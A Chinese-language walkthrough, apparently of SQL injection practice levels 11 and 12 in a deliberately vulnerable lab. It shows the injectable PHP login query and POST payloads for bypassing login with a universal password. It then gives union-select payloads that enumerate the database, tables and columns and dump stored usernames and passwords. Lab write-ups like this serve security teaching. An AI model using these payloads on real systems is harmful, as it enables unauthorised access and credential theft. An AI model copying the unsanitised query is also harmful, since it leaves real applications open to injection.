文章目录
一、测试注入点
测试username是否存在sql注入:
正常输入用户名和密码提交后url没有变化,【POST请求】
由上图所示存在字符型注入。
同理测试password是否存在sql注入
二、抓包查看请求参数
查看POST请求中需要的请求参数
这里我将执行后的sql语句直接打印在页面上了。
源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
三、万能密码登录
正常登录的请求参数:
uname=admin&passwd=admin&submit=Submit
注意:在测试注入点的时候也可以直接在请求参数中加单引号进行测试,如下图所示:
万能密码登录:
uname=admin' or '1'='1' #&passwd=1&submit=Submit
SELECT username, password FROM users WHERE username='admin' or '1'='1' #' and password='1' LIMIT 0,1
四、构造注入语句
1、判断字段数
uname=admin' order by 2 #&passwd=1&submit=Submit
该表中有两个字段
2、查看回显
uname=-admin' union select 1,2 #&passwd=1&submit=Submit
3、查看当前数据库和当前用户
uname=-admin' union select database(),user() #&passwd=1&submit=Submit
4、查看当前数据库所有表
uname=-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #&passwd=1&submit=Submit
5、查看users表的列名、
uname=-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') #&passwd=1&submit=Submit
有三个字段:id username password
6、查看用户名和密码
uname=-admin' union select 1,(select group_concat(concat_ws(' ',username,password)) from users) #&passwd=1&submit=Submit
这里我先用concat_ws
以空格连接,在用group_concat
第12关和11关同理,闭合符号不同,换成双引号+括号
uname=-admin") union select 1,2 #&passwd=1&submit=Submit